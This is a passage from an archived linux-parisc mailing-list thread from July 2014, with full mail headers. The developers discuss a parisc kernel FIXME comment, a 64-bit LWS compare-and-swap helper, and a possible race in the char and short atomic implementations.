X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 21:03:47 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, jkosina@suse.cz, joe@perches.com,
	dave.anglin@bell.net, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Nicholas Krause <xerofoify@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 23:03:39 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8FJZ-00049S-RK
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 23:03:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935042AbaGRVDh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 17:03:37 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47253 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932406AbaGRVDh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 17:03:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 75E138EE1C0;
	Fri, 18 Jul 2014 14:03:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9Wl32-7THwfT; Fri, 18 Jul 2014 14:03:36 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B6AF48EE06D;
	Fri, 18 Jul 2014 14:03:35 -0700 (PDT)
In-Reply-To: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
X-Mailer: Evolution 3.12.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5940 gmane.linux.kernel:1751290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5940>

On Fri, 2014-07-18 at 16:37 -0400, Nicholas Krause wrote:
> The comment for size of frame not being needed is incorrect , the
> function called needs this parameter.

Actually, that's not correct.  The point of the FIXME is that fram_size
is only used in a debug print and could be eliminated since the
internals of the function excluding the debugging statements don't use
it.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Fri, 18 Jul 2014 17:55:10 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <CAE2sS1hGVBucXU+34APoWWLRVpmP9RDA0GOOUMiGSKXGhioYsA@mail.gmail.com>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
	<BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405720521 19862 80.91.229.3 (18 Jul 2014 21:55:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 21:55:21 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 18 23:55:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8G7V-0007FN-7U
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Jul 2014 23:55:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753425AbaGRVzM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 17:55:12 -0400
Original-Received: from mail-oi0-f54.google.com ([209.85.218.54]:42827 "EHLO
	mail-oi0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751672AbaGRVzL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 17:55:11 -0400
Original-Received: by mail-oi0-f54.google.com with SMTP id i138so2156534oig.27
        for <linux-parisc@vger.kernel.org>; Fri, 18 Jul 2014 14:55:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=qwezpbDB37/0g5Ly7tZ4QxfR8vFGTJ8kIbroQrm2qgw=;
        b=G8Uc8/486XkGH9u5KgsQCZ7OoVMaBFwoVewQRPGc968DISxw9ILKWXliJ2o08aWVJN
         3znSFDoF9ZQhSxRvLGIeh3t9SdjGkPo7wkC6bLTGH3wdU0gnLt/9+wunxYDJK6ZWEb6k
         il3Eewb3GBT3TQ5hkKLASO3MgtvLpRn+inAg0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=qwezpbDB37/0g5Ly7tZ4QxfR8vFGTJ8kIbroQrm2qgw=;
        b=PjUSOaZrnfq4dFmc4bCF5GyyDtduTnsTbmSR4Kuy72Qj1fykEKC+BddCl4834dS8ej
         gAi736bkRpi9it36T64/DkqFeDo4j8JnwvlThLxelXmzlknvCkzzKSeFxVDwiU/8r6/g
         edoAEkwa0hdSBJgQ0WwTDzebRLOTHvuIpLffWQ5oy5MzFM0THE7FxS8KYdSFA1S1ER4o
         0CX5RtMSjtki6LB9o3r3Pa/5uCKgSj6IaUMapX2iKf05ULDKWXAe7geHaDC/gmyPS1Vf
         IT75oTpkshB/cz153s1ej7aPA/2Qn4eymVL9aAQzt9lrda9Y6qJBZce114cmVCqCR75P
         6euA==
X-Gm-Message-State: ALoCoQm+gsDLT99BhpV/4TcMp5HK4CKdYtDGdlP99U/yQtj9dX1z9SkvqvLxX6iy6K7E1EIe+2yq
X-Received: by 10.182.158.68 with SMTP id ws4mr11311393obb.86.1405720510542;
 Fri, 18 Jul 2014 14:55:10 -0700 (PDT)
Original-Received: by 10.76.34.3 with HTTP; Fri, 18 Jul 2014 14:55:10 -0700 (PDT)
X-Originating-IP: [131.111.184.17]
In-Reply-To: <BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5941>

On Fri, Jul 18, 2014 at 10:49 AM, John David Anglin
<dave.anglin@bell.net> wrote:
> On 7/17/2014 4:00 PM, Guy Martin wrote:
>>
>> +/* Kernel helper for compare-and-exchange a 64-bit value from ELF32.  */
>> +static inline long
>> +__kernel_cmpxchg_dword32 (int64_t oldval, int64_t newval, int64_t *mem)
>
> I'm thinking we don't need suffix "32".  If a 64-bit runtime is ever
> developed,
> there probably would be a separate file for it as on arm.
>
> This discussion has got me thinking that the char and short implementations
> may be broken (i.e,
> the CAS operation may clobber data adjacent to location being operated on).
> I'm thinking we need
> separate LWS calls for them.  Thoughts?

Yes, you need masking or short load variants. How did you test the
char and short implementations? ;-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Fri, 18 Jul 2014 18:12:30 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU436-SMTP1308F81AF14D15C0659D6D997F50@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be> <BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl> <CAE2sS1hGVBucXU+34APoWWLRVpmP9RDA0GOOUMiGSKXGhioYsA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405721587 764 80.91.229.3 (18 Jul 2014 22:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Jul 2014 22:13:07 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 00:12:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8GOX-0004zy-G3
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 00:12:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755614AbaGRWMt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 18:12:49 -0400
Original-Received: from blu004-omc4s30.hotmail.com ([65.55.111.169]:64430 "EHLO
	BLU004-OMC4S30.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754379AbaGRWMs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 18:12:48 -0400
Original-Received: from BLU436-SMTP130 ([65.55.111.135]) by BLU004-OMC4S30.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Fri, 18 Jul 2014 15:12:47 -0700
X-TMN: [cZ2hfWf8UF0mRu/rEyxnixg+wSUEhO1h]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Fri, 18 Jul 2014 15:12:46 -0700
In-Reply-To: <CAE2sS1hGVBucXU+34APoWWLRVpmP9RDA0GOOUMiGSKXGhioYsA@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 18 Jul 2014 22:12:46.0871 (UTC) FILETIME=[67B56A70:01CFA2D5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5942>

On 18-Jul-14, at 5:55 PM, Carlos O'Donell wrote:

>> This discussion has got me thinking that the char and short  
>> implementations
>> may be broken (i.e,
>> the CAS operation may clobber data adjacent to location being  
>> operated on).
>> I'm thinking we need
>> separate LWS calls for them.  Thoughts?
>
> Yes, you need masking or short load variants. How did you test the
> char and short implementations? ;-)

There is no testing beyond the general testing of atomics in GCC.   
There is masking
in the GCC code but I think this is racy.  Another thread might modify  
the masked data
during the CAS operation and this might be lost.  I've never seen it  
in the real world though.

The implementation was originally copied from arm.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Fri, 18 Jul 2014 20:30:35 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU436-SMTP1543CF527E5DA5476D4B7A997F20@phx.gbl>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be> <1405545383.3165.34.camel@dabdike.int.hansenpartnership.com> <CAE2sS1i8ncnP135uKo1w6+S_JHV6T6_7mR9Pj-jzt9Wk-s_JQw@mail.gmail.com> <f6a350becc52f31a47a279ea1c557c54@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405729863 30796 80.91.229.3 (19 Jul 2014 00:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 00:31:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 02:30:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8IYA-0006Rv-C5
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 02:30:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754020AbaGSAax (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 20:30:53 -0400
Original-Received: from blu004-omc4s34.hotmail.com ([65.55.111.173]:57734 "EHLO
	BLU004-OMC4S34.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753890AbaGSAax (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 20:30:53 -0400
Original-Received: from BLU436-SMTP154 ([65.55.111.136]) by BLU004-OMC4S34.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Fri, 18 Jul 2014 17:30:52 -0700
X-TMN: [P3VHvynZPYaisUo4nl5P7oletAE1EdbX]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Fri, 18 Jul 2014 17:30:51 -0700
In-Reply-To: <f6a350becc52f31a47a279ea1c557c54@tuxicoman.be>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 19 Jul 2014 00:30:51.0691 (UTC) FILETIME=[B1D89FB0:01CFA2E8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5943>

On 17-Jul-14, at 4:44 AM, Guy Martin wrote:

> Reviewing HPPA 1.1 specs, I see that the FPU has 64bit registers.
> Can't we use those registers to perform 64bit atomic load and store ?
>
> As far as I can see, FLDDX and FSTDX should be able to do the job.
> Unless there is something I'm missing about the FPU :)

The main inefficiency is that one needs to copy a value through memory  
to
get a value in a general register into a floating point register,  
etc.  Probably,
for this technique, it would be most efficient to pass the values in  
floating
point registers.

Most people are running PA 2.0 machines now and these have 64-bit  
registers
and 64-bit loads and stores.  Problem is we don't have a proper 64-bit  
context
on these machines like hpux.  So, we don't save/restore everything on an
interruption.  However, it might be possible to use 64-bit operations  
in the region
where interrupts are disabled.  Note that interruptions are still  
possible in this
region but it might be we don't care about the values in this case.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Fri, 18 Jul 2014 20:38:44 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <CAE2sS1jCtgrQKReKsdYj4Of+0pR0p+gw+RwqzncEyT=mMbQMLQ@mail.gmail.com>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be>
	<BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl>
	<CAE2sS1hGVBucXU+34APoWWLRVpmP9RDA0GOOUMiGSKXGhioYsA@mail.gmail.com>
	<BLU436-SMTP1308F81AF14D15C0659D6D997F50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405730333 2519 80.91.229.3 (19 Jul 2014 00:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 00:38:53 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 02:38:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8Ifm-000068-21
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 02:38:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753158AbaGSAip (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 20:38:45 -0400
Original-Received: from mail-oi0-f50.google.com ([209.85.218.50]:42049 "EHLO
	mail-oi0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751530AbaGSAip (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 20:38:45 -0400
Original-Received: by mail-oi0-f50.google.com with SMTP id a141so2083576oig.23
        for <linux-parisc@vger.kernel.org>; Fri, 18 Jul 2014 17:38:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=y6848X7wanDPJn+vruPphJ0zm4V8ZKl4YbxpOkT1R80=;
        b=Gv92ET1tWJOYEfHc2WA8g4M5x14RmcViKZhk2A05oYEmp0f0YTMMLnFpsn75W4kreU
         cbCCCiSfwANUaRZHpwpKG5ZFzIdaJO2Hsq0R+UJNzpTm3UWsgkNiHF53X4itcKUg5Y4k
         Cg/NIovy91vdqPiHEo9zNLJqyhU1fUEWnVR18=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=y6848X7wanDPJn+vruPphJ0zm4V8ZKl4YbxpOkT1R80=;
        b=BsTjVO7vXkLT+y/M7aeF2sJAkNgL+ewK4uN1QOluVxKkVG59yULFSPQEoQfF1PGrTA
         k13ltUTEK+LvWEn/n34vsrPmvqyeMnYQZT3DapJybHwHm344U7NkPulwgOv3KKsITW37
         1ZMb5+K+q1yM8OpcrFV9TBCVNNGqSKQMB5y/ofoaSY6UFXuHmGWnryJ6Y1KLZPmqCYFd
         EmQURjsAi8E3Plp5lFSzCckyLW/TBaxPKOrIBtO09OMqQbo03ysCP84gM994dvT+eW9g
         lv4uAWPECPtb2Wey08t5Iiw6hXRP7u9/BjzDJUsoazbcDG9LoC6h0ZsYe0+fIZAlghaA
         JwUQ==
X-Gm-Message-State: ALoCoQmBKpCUduUl26ehT1g4vaxyi2ocSR9Q4LeC7y83lSy2ECs/zGzT4LYsv9QhoywPEHaZtJrT
X-Received: by 10.60.124.162 with SMTP id mj2mr12199416oeb.22.1405730324403;
 Fri, 18 Jul 2014 17:38:44 -0700 (PDT)
Original-Received: by 10.76.34.3 with HTTP; Fri, 18 Jul 2014 17:38:44 -0700 (PDT)
X-Originating-IP: [131.111.184.17]
In-Reply-To: <BLU436-SMTP1308F81AF14D15C0659D6D997F50@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5944>

On Fri, Jul 18, 2014 at 6:12 PM, John David Anglin <dave.anglin@bell.net> wrote:
> There is no testing beyond the general testing of atomics in GCC.  There is
> masking
> in the GCC code but I think this is racy.  Another thread might modify the
> masked data
> during the CAS operation and this might be lost.  I've never seen it in the
> real world though.

The race is real IMO, but you're right that it might be hard to trigger.

My opinion is that the only way you can do this is to write new LWS
CAS variants that do half-word or byte loads, compares and stores. You
can't touch the surrounding data safely.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCH] 64bit LWS CAS
Date: Fri, 18 Jul 2014 20:42:17 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU436-SMTP175ABE53FF395269670B9A097F20@phx.gbl>
References: <20140717220000.555b2bec@dellete.lux.tuxicoman.be> <BLU436-SMTP218A41974C191160FBF5D1097F50@phx.gbl> <CAE2sS1hGVBucXU+34APoWWLRVpmP9RDA0GOOUMiGSKXGhioYsA@mail.gmail.com> <BLU436-SMTP1308F81AF14D15C0659D6D997F50@phx.gbl> <CAE2sS1jCtgrQKReKsdYj4Of+0pR0p+gw+RwqzncEyT=mMbQMLQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405730586 4995 80.91.229.3 (19 Jul 2014 00:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 00:43:06 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 02:42:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8Ijn-000068-Rb
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 02:42:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753158AbaGSAmz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 20:42:55 -0400
Original-Received: from [65.55.111.172] ([65.55.111.172]:65029 "EHLO
	BLU004-OMC4S33.hotmail.com" rhost-flags-FAIL-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751530AbaGSAmy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 20:42:54 -0400
Original-Received: from BLU436-SMTP175 ([65.55.111.137]) by BLU004-OMC4S33.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Fri, 18 Jul 2014 17:42:34 -0700
X-TMN: [PDqmv69cbu2knIrPSeT6ozAixQLBWtWG]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Fri, 18 Jul 2014 17:42:33 -0700
In-Reply-To: <CAE2sS1jCtgrQKReKsdYj4Of+0pR0p+gw+RwqzncEyT=mMbQMLQ@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 19 Jul 2014 00:42:33.0700 (UTC) FILETIME=[5446B240:01CFA2EA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5945>

On 18-Jul-14, at 8:38 PM, Carlos O'Donell wrote:

> On Fri, Jul 18, 2014 at 6:12 PM, John David Anglin <dave.anglin@bell.net 
> > wrote:
>> There is no testing beyond the general testing of atomics in GCC.   
>> There is
>> masking
>> in the GCC code but I think this is racy.  Another thread might  
>> modify the
>> masked data
>> during the CAS operation and this might be lost.  I've never seen  
>> it in the
>> real world though.
>
> The race is real IMO, but you're right that it might be hard to  
> trigger.
>
> My opinion is that the only way you can do this is to write new LWS
> CAS variants that do half-word or byte loads, compares and stores. You
> can't touch the surrounding data safely.

I totally agree.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove FIXME comment
Date: Fri, 18 Jul 2014 22:25:07 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <CAPDOMVjScF=7ES7NU=R6sGOmp7QycKX+uMXL-w+1rNEak4G7Dg@mail.gmail.com>
References: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
	<1405717414.30262.12.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405736718 3853 80.91.229.3 (19 Jul 2014 02:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 02:25:18 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, Jiri Kosina <jkosina@suse.cz>,
	Joe Perches <joe@perches.com>, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 04:25:11 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8KKk-0005kQ-Cs
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 04:25:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755868AbaGSCZJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jul 2014 22:25:09 -0400
Original-Received: from mail-vc0-f181.google.com ([209.85.220.181]:65219 "EHLO
	mail-vc0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755327AbaGSCZI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jul 2014 22:25:08 -0400
Original-Received: by mail-vc0-f181.google.com with SMTP id lf12so8522613vcb.26
        for <multiple recipients>; Fri, 18 Jul 2014 19:25:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
